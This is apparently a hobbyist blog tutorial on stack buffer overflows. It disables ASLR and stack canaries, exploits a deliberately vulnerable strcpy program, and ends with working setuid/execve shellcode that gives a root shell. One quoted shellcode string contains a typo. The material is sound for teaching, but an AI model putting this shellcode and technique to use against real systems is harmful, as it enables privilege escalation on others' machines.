Buffer Overflows 101
So I thought I’d knock together a short Buffer Overflow 101 tutorial, everyone has to start somewhere so I though I’d give some guys a leg up. Although this tutorial is realistic we’re going to have to turn off some of the new features (if you’re running a new’ish version of Linux) in the kernel and gcc to make things easier. Once you’ve got the basics mastered we can start turning them back on and see how you can get around them!
Before I kick off, I assume a reasonable amount of knowledge, this isn’t the sort of thing my mum is going to be able to do; basic C/Linux/Assembler (Intel) and computing fundamentals (stacks etc.).
Things to turn off to make this easier
WTF is randomize_va_space?
Most new (ish) Linux distributions ship with “randomize_va_space” enabled, this means the kernel loads all the dynamically linked libraries in random positions within the processes memory! (__note:__ depending what level this is set to it can randomdize different parts of a process; heap, stack, etc.) This make buffer overflows very hard - we’ll get to why later!
tim@blue:~/devel/buffer_overflows_101$ cat /proc/sys/kernel/randomize_va_space
1
as you can see - on my Ubuntu (gutsy) box it’s enabled, to disable it simply:
tim@blue:~$ sudo /bin/sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
tim@blue:~$ cat /proc/sys/kernel/randomize_va_space
0
WTF are gcc stack canaries?
gcc has had stack smashing protection since sometime back in 1997 - but hasn’t been that widely used until recently. So once again - gcc will now commonly default to using some form of stack protection. So make sure you’re not compiling with SSP (Stack Smashing Protection) etc. Canaries are expendable variables that live at the end of buffers - by testing the value of this memory location the application can tell if the buffer has been overflowed. For canaries to be affective they mustn’t be predictable. So disable gcc’s stack protection, make sure you remember to use the “-Wno-stack-protector -fno-stack-protector” flags.
So what is a Buffer Overflow?
A buffer overflow occurs simply when too much data is copied into an insufficient buffer. The actual reason we get execution is because after execution of the vulnerable function completes it pulls the return address off the stack and puts its in EIP (this is the way execution continues in the calling function) and during the overflow it’s can be possible to over write that return address with the address of our shellcode.
This is one of the reasons the randomize_va_space makes exploitation difficult - the address of the stack isn’t predictable - so we don’t know what to over write the return address with.
So lets get to it….
So we need a simple vulnerable app to play with (vuln.c)…
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void foo(char *in) {
char tmp[256];
strcpy(tmp,in);
printf("argument was: %s\n",tmp);
return;
}
int main(int argc,char **argv) {
if(argc < 2) {
printf("%s <argument>\n",argv[0]);
return 0;
}
printf("before call\n");
foo(argv[1]);
printf("after call\n");
return 0;
}
So hopefully everyone has noticed how this app is exploitable….we copy the first argument (from the command line) into a 256 byte buffer without checking how long it is!! So we should be able to over write the RET address and gain execution.
So lets just check we can break the application….
tim@blue:~/devel/buffer_overflows_101$ gcc -Wall vuln.c -o vuln
tim@blue:~/devel/buffer_overflows_101$ ./vuln f00
before call
argument was: f00
after call
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "A" x 300'`
before call
argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./vuln terminated
Aborted (core dumped)
tim@blue:~/devel/buffer_overflows_101$ gcc -Wall -Wno-stack-protector -fno-stack-protector vuln.c -o vuln
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "A" x 300'`
before call
argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
tim@blue:~/devel/buffer_overflows_101$ ls
vuln vuln.c
tim@blue:~/devel/buffer_overflows_101$
As you can see I forgot to build the code with the flags to stop gcc adding its stack protection; the application would have been terminated before we would have gained execution. But once I compiled it correctly…
We didn’t get a core file because my default ulimits aren’t high enough - so we better fix that…
tim@blue:~/devel/buffer_overflows_101$ ulimit -c unlimited
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "A" x 300'`
before call
argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
tim@blue:~/devel/buffer_overflows_101$ ls
core vuln vuln.c
tim@blue:~/devel/buffer_overflows_101$
So lets see if we had control of EIP!
tim@blue:~/devel/buffer_overflows_101$ gdb ./vuln ./core
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) info reg
eax 0x13b 315
ecx 0x0 0
edx 0xb7fd40d0 -1208139568
ebx 0xb7fd2ff4 -1208143884
esp 0xbffff960 0xbffff960
ebp 0x41414141 0x41414141
esi 0xb8000ce0 -1207956256
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x210286 [ PF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) quit
tim@blue:~/devel/buffer_overflows_101$
Very nice! As you can see from the above ‘info reg’ EIP (the instruction pointer - points to the next instruction in memory) is pointing at 0x41414141 - which comes from ‘AAAA’!! But what ‘A’ do you think it is? We did send 300 after all? We could add some ‘B’s etc and find it that way, but there is a much easier method - thanks to the guys at the Metasploit project. If you download Metasploit framework 3 at http://framework.metasploit.com/msf/downloader/?id=framework-3.1.tar.gz, I’m using 3.1 Release. You’ll need ruby (and libopenssl-rub) btw - so get that installed too (apt-get install ruby libopenssl-ruby for the debian/ubuntu d00ds).
There’s a script which will create a non repeating sequence of printable characters, so we can throw that into our buffer and then use another script to tell us which byte lands in EIP (or any other location we’re interested in). Remember to delete the old core btw - the kernel will not overwrite the existing core dump.
tim@blue:~/devel/buffer_overflows_101$ rm core
tim@blue:~/devel/buffer_overflows_101$ ./vuln `./framework-3.1/tools/pattern_create.rb 300`
before call
argument was: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Segmentation fault (core dumped)
tim@blue:~/devel/buffer_overflows_101$ gdb ./vuln ./core
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3'.
Program terminated with signal 11, Segmentation fault.
#0 0x37694136 in ?? ()
(gdb) quit
tim@blue:~/devel/buffer_overflows_101$ ./framework-3.1/tools/pattern_offset.rb 0x37694136 300
260
tim@blue:~/devel/buffer_overflows_101$
Easy uh? EIP starts on the 260’th byte! So lets fill EIP with ‘B’s…..
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "A"x260 . "B"x4'`
before call
argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Segmentation fault (core dumped)
tim@blue:~/devel/buffer_overflows_101$ gdb ./vuln ./core
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) quit
tim@blue:~/devel/buffer_overflows_101$
So we now have complete control of EIP! So we know need to be able to do something with it. So if we’re going to inject some shellcode - we need to know where its going to start, so we can set EIP to the start of the eggcode. So lets find the start of the buffer (looking around ESP is always a good place to start with stack overflows)….
tim@blue:~/devel/buffer_overflows_101$ gdb ./vuln ./core
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/10 $esp-20
0xbffff97c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff98c: 0x42424242 0xbffffb00 0x08049670 0xbffff9b8
0xbffff99c: 0xbffff9c0 0xb7ff3800
(gdb) # so there's the end of the buffer (including the 'B's) so lets look further up
(gdb) x/100 $esp-270
0xbffff882: 0xf8880804 0x4141bfff 0x41414141 0x41414141
0xbffff892: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8a2: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8b2: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8c2: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8d2: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8e2: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8f2: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff902: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff912: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff922: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff932: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff942: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff952: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff962: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff972: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff982: 0x41414141 0x41414141 0x42424141 0xfb004242
0xbffff992: 0x9670bfff 0xf9b80804 0xf9c0bfff 0x3800bfff
0xbffff9a2: 0xf9c0b7ff 0xfa18bfff 0x3050bfff 0x0ce0b7ea
0xbffff9b2: 0x84a0b800 0xfa180804 0x3050bfff 0x0002b7ea
0xbffff9c2: 0xfa440000 0xfa50bfff 0x1820bfff 0x0000b800
0xbffff9d2: 0x00010000 0x00010000 0x00000000 0x2ff40000
0xbffff9e2: 0x0ce0b7fd 0x0000b800 0xfa180000 0x8081bfff
0xbffff9f2: 0x2a91ebf3 0x0000c060 0x00000000 0x00000000
0xbffffa02: 0x86600000 0x2f7db7ff 0x0ff4b7ea 0x0002b800
(gdb) x/1 $esp-264
0xbffff888: 0x41414141
(gdb) quit
tim@blue:~/devel/buffer_overflows_101$
So we know to set EIP to 0xbffff888 - but we need some code to do something rather than just ‘A’s! Note the bytes that land of EIP just be in reverse byte order, as I’m working on a Intel machine.
tim@blue:~/devel/buffer_overflows_101$ rm core && ./vuln `perl -e 'print "A"x260 . "\\x88\\xf8\\xff\\xbf"'`
before call
argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
Segmentation fault (core dumped)
tim@blue:~/devel/buffer_overflows_101$ gdb ./vuln ./core
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0xbffff888 in ?? ()
(gdb) quit
tim@blue:~/devel/buffer_overflows_101$
Cool, now lets write some shellcode! OK just a simple one to start with; we’re call exit() with a given status code so we can prove the shellcode has executed. Our vuln app can only return a status of 0 (see the code)
tim@blue:~/devel/buffer_overflows_101$ ./vuln d00d
before call
argument was: d00d
after call
tim@blue:~/devel/buffer_overflows_101$ echo $?
0
tim@blue:~/devel/buffer_overflows_101$
The easiest way to write shellcode is to write what you want to do in C and take the machine code out of it…
tim@blue:~/devel/buffer_overflows_101$ cat exitCode.c
#include <unistd.h>
int main(void) {
_exit(123);
}
tim@blue:~/devel/buffer_overflows_101$ gcc -Wall exitCode.c -o exitCode -static
tim@blue:~/devel/buffer_overflows_101$ ./exitCode
tim@blue:~/devel/buffer_overflows_101$ echo $?
123
tim@blue:~/devel/buffer_overflows_101$
Note I’ve statically compiled the code - I’d like all the code inside this one executable rather then jumping into shared libraries. Now lets try to turn this into shellcode…
tim@blue:~/devel/buffer_overflows_101$ gdb ./exitCode
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
...
(gdb) disas main
Dump of assembler code for function main:
0x08048208 <main+0>: lea 0x4(%esp),%ecx
0x0804820c <main+4>: and $0xfffffff0,%esp
0x0804820f <main+7>: pushl 0xfffffffc(%ecx)
0x08048212 <main+10>: push %ebp
0x08048213 <main+11>: mov %esp,%ebp
0x08048215 <main+13>: push %ecx
0x08048216 <main+14>: sub $0x4,%esp
0x08048219 <main+17>: movl $0x7b,(%esp)
0x08048220 <main+24>: call 0x804dffc <_exit>
End of assembler dump.
(gdb) disas _exit
Dump of assembler code for function _exit:
0x0804dffc <_exit+0>: mov 0x4(%esp),%ebx
0x0804e000 <_exit+4>: mov $0xfc,%eax
0x0804e005 <_exit+9>: int $0x80
0x0804e007 <_exit+11>: mov $0x1,%eax
0x0804e00c <_exit+16>: int $0x80
0x0804e00e <_exit+18>: hlt
End of assembler dump.
(gdb)
</main+24></main+17></main+14></main+13></main+11></main+10></main+7></main+4></main+0>
So if you know anything about Linux syscalls you can see we’re making two syscalls here. We’re calling syscall 0xfc and 0x01 with our passed argument. If you look in /usr/include/asm-i386/unistd.h you can see our syscalls
tim@blue:~/devel/buffer_overflows_101$ egrep \\ 1$\\|252 /usr/include/asm-i386/unistd.h
#define __NR_exit 1
#define __NR_exit_group 252
We’re not really interested in exit_group - so we won’t bother with that. You can also see the argument is passed into the kernel on ebx, so we need something like:
asm
mov $0x7B,%ebx
mov $0x01,%eax
int $0x80
Using the output of objdump -d exitCode
can make things easier…
0804dffc <_exit>:
804dffc: 8b 5c 24 04 mov 0x4(%esp),%ebx
804e000: b8 fc 00 00 00 mov $0xfc,%eax
804e005: cd 80 int $0x80
804e007: b8 01 00 00 00 mov $0x1,%eax
804e00c: cd 80 int $0x80
804e00e: f4 hlt
804e00f: 90 nop
tim@blue:~/devel/buffer_overflows_101/shell/exit$ cat exit.asm
SEGMENT.text
mov eax, 1
mov ebx, 123
int 80h
tim@blue:~/devel/buffer_overflows_101/shell/exit$ nasm -felf exit.asm
tim@blue:~/devel/buffer_overflows_101/shell/exit$ gcc exit.o -o exit -nostartfiles -nostdlib
/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060
tim@blue:~/devel/buffer_overflows_101/shell/exit$ ./exit
tim@blue:~/devel/buffer_overflows_101/shell/exit$ echo $?
123
tim@blue:~/devel/buffer_overflows_101/shell/exit$ objdump -d exit
exit: file format elf32-i386
Disassembly of section .text:
08048060 <segment.text>:
8048060: b8 01 00 00 00 mov $0x1,%eax
8048065: bb 7b 00 00 00 mov $0x7b,%ebx
804806a: cd 80 int $0x80
So our shellcode should be “\xb8\x01\x00\x00\x00\xbb\x7b\x00\x00\x00\xcd\x80” - we can test this by:
tim@blue:~/devel/buffer_overflows_101/shell/exit$ cat test_code.c
const char exit_shell[]="\\xb8\\x01\\x00\\x00\\x00\\xbb\\x7b\\x00\\x00\\x00\\xcd\\x80";
main() {
int (*shell)();
shell=exit_shell;
shell();
}
tim@blue:~/devel/buffer_overflows_101/shell/exit$ gcc test_code.c -o test
test_code.c: In function ‘main’:
test_code.c:4: warning: assignment from incompatible pointer type
tim@blue:~/devel/buffer_overflows_101/shell/exit$ ./test
tim@blue:~/devel/buffer_overflows_101/shell/exit$ echo $?
123
tim@blue:~/devel/buffer_overflows_101/shell/exit$
looks good but….there are 0x00 in that shellcode which means it can be put in a string! :(
so we have to remove all the NULL characters out of the code while obviously making sure its still valid ASM and does what we want it too. There are quite a few tricks to do this, but most are probably out of scope of this tutorial…lets try this:
tim@blue:~/devel/buffer_overflows_101/shell/exit$ cat exit2.asm
SEGMENT.text
xor eax, eax ; zeros eax
mov al, 1 ; put 1 in the lowest 8bits of eax
xor ebx, ebx ; zeros ebx
mov bl, 123 ; put 123 in the lowest 8bits of ebx
int 80h ; int 80 (enter syscall)
tim@blue:~/devel/buffer_overflows_101/shell/exit$ nasm -felf exit2.asm
tim@blue:~/devel/buffer_overflows_101/shell/exit$ gcc exit2.o -o exit2 -nostartfiles -nostdlib
/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060
tim@blue:~/devel/buffer_overflows_101/shell/exit$ ./exit2
tim@blue:~/devel/buffer_overflows_101/shell/exit$ echo $?
123
tim@blue:~/devel/buffer_overflows_101/shell/exit$ objdump -d exit2
exit2: file format elf32-i386
Disassembly of section .text:
08048060 <segment.text>:
8048060: 31 c0 xor %eax,%eax
8048062: b0 01 mov $0x1,%al
8048064: 31 db xor %ebx,%ebx
8048066: b3 7b mov $0x7b,%bl
8048068: cd 80 int $0x80
So our shellcode is now “\x31\xc0\xb0\x01\x31\xdb\x3b\x7b\xcd\x80” - lets test it!
So we originally had 260 bytes of overflow then EIP, and our shellcode is 10 bytes…so we want 10 bytes of shellcode followed by 250 of stuff and finally EIP on the end.
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "\\x31\\xc0\\xb0\\x01\\x31\\xdb\\xb3\\x7b\\xcd\\x80" . "A"x250 . "\\x88\\xf8\\xff\\xbf"'`
before call
argument was: 1��1۳{̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
tim@blue:~/devel/buffer_overflows_101$ echo $?
123
tim@blue:~/devel/buffer_overflows_101$
w00p!!
OK so we’re not 260 bytes of machine code to play with - what can we do?
A quick look at mil0worm (http://www.milw0rm.com/shellcode/2042) nice setuid and execve /bin/sh in 30 bytes.
"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80"
See here we actually create the string on the stack - so our code is truly position independent (without playing call-ret games). So lets give it a go… (260-30=230)
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80" . "A"x230 . "\\x88\\xf8\\xff\\xbf"'`
before call
argument was: jX1�̀j
X�Rh//shh/bin��RS��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
$ id
uid=1001(tim) gid=1001(tim) groups=110(admin),1001(tim)
$ exit
tim@blue:~/devel/buffer_overflows_101$
the code is actually doing a setuid(0) - which isn’t working because the file is owned by tim and not root….
tim@blue:~/devel/buffer_overflows_101$ sudo chown root.root vuln && sudo chmod u+s vuln
tim@blue:~/devel/buffer_overflows_101$ ./vuln `perl -e 'print "\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80" . "A"x230 . "\\x88\\xf8\\xff\\xbf"'`
before call
argument was: jX1�̀j
X�Rh//shh/bin��RS��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
# id
uid=0(root) gid=1001(tim) groups=110(admin),1001(tim)
# exit
tim@blue:~/devel/buffer_overflows_101$
And now I’ve got a privilege escalation sitting on my desktop - I’ll leave you to play with stuff. Feel free to ask questions/corrections here and I’ll do my best to answer them. Hope you enjoyed my Buffer Overflow 101 walk though.